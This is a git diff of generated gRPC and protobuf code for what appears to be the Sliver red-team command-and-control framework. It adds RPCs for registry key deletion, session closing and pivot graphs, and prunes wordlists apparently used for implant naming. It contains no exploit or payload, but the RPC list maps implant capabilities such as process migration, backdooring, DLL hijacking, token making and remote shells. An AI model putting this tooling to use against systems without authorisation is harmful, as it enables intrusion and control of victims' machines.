130, // 189: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
131, // 190: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
131, // 191: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
132, // 192: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
133, // 193: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
134, // 194: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
135, // 195: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 196: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
136, // 197: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
137, // 198: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
138, // 199: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
138, // 200: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
138, // 201: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
139, // 202: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
140, // 203: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
141, // 204: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
142, // 205: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
143, // 206: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
144, // 207: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
145, // 208: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
146, // 209: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
147, // 210: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
148, // 211: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
149, // 212: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
150, // 213: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
151, // 214: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
152, // 215: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
70, // 216: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 217: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
153, // 218: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
154, // 219: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
155, // 220: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
156, // 221: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
156, // 222: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
157, // 223: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
157, // 224: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
158, // 225: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
159, // 226: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
160, // 227: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
161, // 228: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
83, // 229: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 230: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
84, // 231: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
85, // 232: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 233: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
86, // 234: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
162, // 235: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
118, // [118:236] is the sub-list for method output_type
0, // [0:118] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+4 -1
View File
@@ -117,7 +117,8 @@ service SliverRPC {
// *** Pivots ***
rpc PivotStartListener(sliverpb.PivotStartListenerReq) returns (sliverpb.PivotListener);
rpc PivotStopListener(sliverpb.PivotStopListenerReq) returns (commonpb.Empty);
rpc PivotListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
rpc PivotSessionListeners(sliverpb.PivotListenersReq) returns (sliverpb.PivotListeners);
rpc PivotGraph(commonpb.Empty) returns (clientpb.PivotGraph);
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
@@ -130,6 +131,7 @@ service SliverRPC {
rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
rpc RegistryDeleteKey(sliverpb.RegistryDeleteKeyReq) returns (sliverpb.RegistryDeleteKey);
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
@@ -138,6 +140,7 @@ service SliverRPC {
// Beacon only commands
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
rpc CloseSession(sliverpb.CloseSession) returns (commonpb.Empty);
// Extensions
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
+120 -12
View File
@@ -115,7 +115,8 @@ type SliverRPCClient interface {
// *** Pivots ***
PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error)
PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error)
PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error)
StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error)
@@ -127,6 +128,7 @@ type SliverRPCClient interface {
RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error)
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error)
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
@@ -134,6 +136,7 @@ type SliverRPCClient interface {
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// Beacon only commands
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error)
// Extensions
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
@@ -879,9 +882,18 @@ func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.Pi
return out, nil
}
func (c *sliverRPCClient) PivotListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) {
out := new(sliverpb.PivotListeners)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotListeners", in, out, opts...)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotSessionListeners", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error) {
out := new(clientpb.PivotGraph)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotGraph", in, out, opts...)
if err != nil {
return nil, err
}
@@ -987,6 +999,15 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
return out, nil
}
func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error) {
out := new(sliverpb.RegistryDeleteKey)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryDeleteKey", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
out := new(sliverpb.RegistrySubKeyList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
@@ -1041,6 +1062,15 @@ func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSess
return out, nil
}
func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSession", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
out := new(sliverpb.RegisterExtension)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
@@ -1368,7 +1398,8 @@ type SliverRPCServer interface {
// *** Pivots ***
PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error)
PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error)
PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
PivotSessionListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error)
PivotGraph(context.Context, *commonpb.Empty) (*clientpb.PivotGraph, error)
StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error)
StopService(context.Context, *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error)
RemoveService(context.Context, *sliverpb.RemoveServiceReq) (*sliverpb.ServiceInfo, error)
@@ -1380,6 +1411,7 @@ type SliverRPCServer interface {
RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error)
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error)
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
@@ -1387,6 +1419,7 @@ type SliverRPCServer interface {
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// Beacon only commands
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error)
// Extensions
RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
@@ -1655,8 +1688,11 @@ func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverp
func (UnimplementedSliverRPCServer) PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotStopListener not implemented")
}
func (UnimplementedSliverRPCServer) PivotListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotListeners not implemented")
func (UnimplementedSliverRPCServer) PivotSessionListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotSessionListeners not implemented")
}
func (UnimplementedSliverRPCServer) PivotGraph(context.Context, *commonpb.Empty) (*clientpb.PivotGraph, error) {
return nil, status.Errorf(codes.Unimplemented, "method PivotGraph not implemented")
}
func (UnimplementedSliverRPCServer) StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) {
return nil, status.Errorf(codes.Unimplemented, "method StartService not implemented")
@@ -1691,6 +1727,9 @@ func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.Reg
func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented")
}
func (UnimplementedSliverRPCServer) RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryDeleteKey not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented")
}
@@ -1709,6 +1748,9 @@ func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivs
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
}
func (UnimplementedSliverRPCServer) CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented")
}
func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
}
@@ -3198,20 +3240,38 @@ func _SliverRPC_PivotStopListener_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
func _SliverRPC_PivotSessionListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PivotListenersReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).PivotListeners(ctx, in)
return srv.(SliverRPCServer).PivotSessionListeners(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/PivotListeners",
FullMethod: "/rpcpb.SliverRPC/PivotSessionListeners",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotListeners(ctx, req.(*sliverpb.PivotListenersReq))
return srv.(SliverRPCServer).PivotSessionListeners(ctx, req.(*sliverpb.PivotListenersReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_PivotGraph_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).PivotGraph(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/PivotGraph",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).PivotGraph(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
@@ -3414,6 +3474,24 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryDeleteKey_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistryDeleteKeyReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryDeleteKey(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryDeleteKey",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryDeleteKey(ctx, req.(*sliverpb.RegistryDeleteKeyReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistrySubKeyListReq)
if err := dec(in); err != nil {
@@ -3522,6 +3600,24 @@ func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec fu
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.CloseSession)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).CloseSession(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/CloseSession",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CloseSession(ctx, req.(*sliverpb.CloseSession))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegisterExtensionReq)
if err := dec(in); err != nil {
@@ -4189,8 +4285,12 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
Handler: _SliverRPC_PivotStopListener_Handler,
},
{
MethodName: "PivotListeners",
Handler: _SliverRPC_PivotListeners_Handler,
MethodName: "PivotSessionListeners",
Handler: _SliverRPC_PivotSessionListeners_Handler,
},
{
MethodName: "PivotGraph",
Handler: _SliverRPC_PivotGraph_Handler,
},
{
MethodName: "StartService",
@@ -4236,6 +4336,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "RegistryCreateKey",
Handler: _SliverRPC_RegistryCreateKey_Handler,
},
{
MethodName: "RegistryDeleteKey",
Handler: _SliverRPC_RegistryDeleteKey_Handler,
},
{
MethodName: "RegistryListSubKeys",
Handler: _SliverRPC_RegistryListSubKeys_Handler,
@@ -4260,6 +4364,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "OpenSession",
Handler: _SliverRPC_OpenSession_Handler,
},
{
MethodName: "CloseSession",
Handler: _SliverRPC_CloseSession_Handler,
},
{
MethodName: "RegisterExtension",
Handler: _SliverRPC_RegisterExtension_Handler,
+7 -2
View File
@@ -182,8 +182,8 @@ const (
MsgPivotPeerEnvelope
// MsgPivotPeerFailure - Failure to send an envelope to a pivot peer
MsgPivotPeerFailure
// MsgPivotOriginEnvelope
MsgPivotOriginEnvelope
// MsgPivotSessionEnvelope
MsgPivotSessionEnvelope
// MsgStartServiceReq - Request to start a service
MsgStartServiceReq
@@ -274,6 +274,9 @@ const (
MsgOpenSession
// MsgCloseSession - Close the active session
MsgCloseSession
// MsgRegistryDeleteKeyReq
MsgRegistryDeleteKeyReq
)
// Constants to replace enums
@@ -425,6 +428,8 @@ func MsgNumber(request proto.Message) uint32 {
return MsgRegistryWriteReq
case *RegistryCreateKeyReq:
return MsgRegistryCreateKeyReq
case *RegistryDeleteKeyReq:
return MsgRegistryDeleteKeyReq
case *WGPortForwardStartReq:
return MsgWGStartPortFwdReq
File diff suppressed because it is too large. Load diff
+53 -16
View File
@@ -54,6 +54,7 @@ message Register {
int64 ReconnectInterval = 13;
string ProxyURL = 14;
string ConfigID = 16;
int64 PeerID = 17;
}
message BeaconRegister {
@@ -64,6 +65,12 @@ message BeaconRegister {
int64 NextCheckin = 5;
}
message SessionRegister {
string ID = 1;
Register Register = 2;
}
message OpenSession {
repeated string C2s = 1;
int64 Delay = 2;
@@ -208,6 +215,8 @@ message Mkdir {
message DownloadReq {
string Path = 1;
int64 Start = 2;
int64 Stop = 3;
commonpb.Request Request = 9;
}
@@ -216,7 +225,9 @@ message Download {
string Path = 1;
string Encoder = 2;
bool Exists = 3;
bytes Data = 4;
int64 Start = 4;
int64 Stop = 5;
bytes Data = 6;
commonpb.Response Response = 9;
}
@@ -601,6 +612,18 @@ message RegistryCreateKey {
commonpb.Response Response = 9;
}
message RegistryDeleteKeyReq {
string Hive = 1;
string Path = 2;
string Key = 3;
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistryDeleteKey {
commonpb.Response Response = 9;
}
message RegistrySubKeyListReq {
string Hive = 1;
string Path = 2;
@@ -631,7 +654,7 @@ message RegistryValuesList {
// Tunnel - Tunnel related messages
message Tunnel {
uint64 TunnelID = 8 [jstype = JS_STRING];
uint32 SessionID = 9;
string SessionID = 9;
}
message TunnelData {
@@ -642,7 +665,7 @@ message TunnelData {
bool Resend = 5;
uint64 TunnelID = 8 [jstype = JS_STRING];
uint32 SessionID = 9;
string SessionID = 9;
}
// ShellReq - Request the implant open a realtime shell tunnel
@@ -688,7 +711,7 @@ message Portfwd {
message Socks {
uint64 TunnelID = 8 [jstype = JS_STRING];
uint32 SessionID = 9;
string SessionID = 9;
}
message SocksData {
@@ -727,40 +750,54 @@ message PivotListener {
uint32 ID = 1;
PivotType Type = 2;
string BindAddress = 3;
repeated PivotPeer Pivots = 4;
repeated NetConnPivot Pivots = 4;
commonpb.Response Response = 9;
}
message PivotHello {
bytes PublicKey = 1;
string PublicKeySignature = 2;
bytes SessionKey = 3;
int64 PeerID = 2;
string PublicKeySignature = 3;
bytes SessionKey = 4;
}
message PivotServerKeyExchange {
int64 OriginID = 2;
bytes SessionKey = 3;
int64 OriginID = 1;
bytes SessionKey = 2;
}
message PivotPeer {
int64 PeerID = 1;
string Name = 2;
}
message PivotPeerEnvelope {
int64 PeerID = 1;
int64 PivotID = 2;
string Name = 3;
repeated PivotPeer Peers = 1;
uint32 Type = 2;
bytes PivotSessionID = 3;
bytes Data = 4;
int64 PeerFailureAt = 5;
}
message PivotPing {
uint32 Nonce = 1;
}
message PivotPeer {
int64 ID = 1;
message NetConnPivot {
int64 PeerID = 1;
string RemoteAddress = 2;
}
enum PeerFailureType {
SEND_FAILURE = 0;
DISCONNECT = 1;
}
message PivotPeerFailure {
int64 ID = 1;
int64 PeerID = 1;
PeerFailureType Type = 2;
string Err = 3;
}
message PivotListenersReq {
@@ -933,4 +970,4 @@ message ListExtensions {
repeated string Names = 1;
commonpb.Response Response = 9;
}
}
+1 -1
View File
@@ -103,7 +103,7 @@ func Setup(force bool, echo bool) {
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
if echo {
fmt.Printf(`
Sliver Copyright (C) 2021 Bishop Fox
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+3 -49
View File
@@ -64,7 +64,6 @@ late
long
modern
old
old-fashioned
quick
rapid
short
@@ -83,7 +82,6 @@ cooing
deafening
faint
harsh
high-pitched
hissing
hushed
husky
@@ -237,7 +235,7 @@ friendly
funny
gentle
glorious
good
good
happy
healthy
helpful
@@ -463,7 +461,6 @@ broad
joint
formal
limited
conservative
lovely
usual
ltd
@@ -471,7 +468,6 @@ unable
rural
initial
substantial
christian
bright
average
leading
@@ -484,7 +480,6 @@ working
overall
female
afraid
democratic
growing
sufficient
scientific
@@ -508,7 +503,6 @@ dry
historical
thin
daily
southern
increasing
wild
alone
@@ -522,14 +516,10 @@ upper
apparent
tall
busy
bloody
prepared
russian
moral
careful
clean
attractive
japanese
vital
thick
alternative
@@ -565,13 +555,11 @@ fundamental
odd
crucial
inner
used
criminal
contemporary
sharp
sick
near
roman
massive
unique
secondary
@@ -621,7 +609,6 @@ keen
flat
silent
indian
video-taped
worried
pale
statutory
@@ -645,7 +632,6 @@ rapid
adequate
fixed
sweet
administrative
wooden
remarkable
comprehensive
@@ -675,8 +661,6 @@ advanced
extreme
classical
fit
favourite
socialist
widespread
confident
straight
@@ -699,7 +683,6 @@ satisfied
conscious
developing
strategic
holy
smooth
dominant
remote
@@ -731,8 +714,6 @@ fat
tight
monetary
round
psychological
violent
unemployed
inevitable
junior
@@ -762,7 +743,6 @@ steady
classic
equivalent
intellectual
victorian
level
ultimate
creative
@@ -816,11 +796,8 @@ liable
multiple
ruling
curious
arab
sole
jewish
managing
pregnant
latin
nearby
exact
@@ -833,7 +810,6 @@ electoral
urgent
presidential
controversial
oral
everyday
encouraging
organic
@@ -853,9 +829,7 @@ disappointed
frightened
full-time
gastric
capitalist
romantic
naked
reluctant
magnificent
convenient
@@ -886,7 +860,6 @@ aggressive
spare
painful
abstract
asian
associated
legislative
monthly
@@ -901,13 +874,11 @@ ridiculous
amazing
comparable
successive
working-class
realistic
back
decent
unnecessary
flying
fucking
random
influential
dull
@@ -941,8 +912,6 @@ delicate
mild
occupational
excessive
progressive
iraqi
exceptional
integrated
striking
@@ -952,7 +921,6 @@ harsh
combined
fierce
handsome
characteristic
chronic
compulsory
interim
@@ -979,7 +947,6 @@ kind
advisory
hostile
precious
gay
accessible
determined
excited
@@ -988,8 +955,6 @@ provincial
smart
endless
isolated
post-war
drunk
geographical
like
dynamic
@@ -1036,7 +1001,6 @@ polish
israeli
developed
profound
representative
enthusiastic
dreadful
rigid
@@ -1070,7 +1034,6 @@ bored
charming
minimal
mobile
turkish
orange
rear
passive
@@ -1113,7 +1076,6 @@ useless
semantic
embarrassed
inherent
philosophical
deliberate
awake
variable
@@ -1210,14 +1172,12 @@ cheerful
subjective
forward
surviving
exotic
purple
cautious
visiting
aggregate
ethical
protestant
teenage
large-scale
dying
disastrous
@@ -1275,19 +1235,16 @@ imaginative
governing
accepted
vocational
palestinian
mighty
puzzled
worldwide
handicapped
organisational
sunny
eldest
eventual
spontaneous
vivid
rude
nineteenth-century
faithful
ministerial
innovative
@@ -1316,8 +1273,7 @@ famous
fragile
helpful
helpless
important
impossible
important
innocent
inquisitive
modern
@@ -1337,7 +1293,7 @@ uninterested
wandering
wild
wrong
adorable
adorable
alert
average
beautiful
@@ -1417,8 +1373,6 @@ nasty
new
nice
nosy
nutty
nutritious
odd
orange
ordinary
-147
View File
@@ -13163,9 +13163,6 @@ BEDRAGGLES
BEDRAGGLING
BEDRAIL
BEDRAILS
BEDRAPE
BEDRAPED
BEDRAPES
BEDRAPING
BEDRENCH
BEDRENCHED
@@ -17343,11 +17340,6 @@ BONZE
BONZER
BONZES
BOO
BOOB
BOOBED
BOOBIE
BOOBIES
BOOBING
BOOBIRD
BOOBIRDS
BOOBISH
@@ -17356,7 +17348,6 @@ BOOBOISIES
BOOBOO
BOOBOOS
BOOBS
BOOBY
BOOCOO
BOOCOOS
BOODIES
@@ -17366,7 +17357,6 @@ BOODLER
BOODLERS
BOODLES
BOODLING
BOODY
BOOED
BOOGER
BOOGERMAN
@@ -18160,7 +18150,6 @@ BOYSENBERRIES
BOYSENBERRY
BOZO
BOZOS
BRA
BRABBLE
BRABBLED
BRABBLER
@@ -18628,7 +18617,6 @@ BREAM
BREAMED
BREAMING
BREAMS
BREAST
BREASTBONE
BREASTBONES
BREASTED
@@ -18641,7 +18629,6 @@ BREASTPIN
BREASTPINS
BREASTPLATE
BREASTPLATES
BREASTS
BREASTSTROKE
BREASTSTROKER
BREASTSTROKERS
@@ -28621,7 +28608,6 @@ COCHLEAS
COCHLEATE
COCINERA
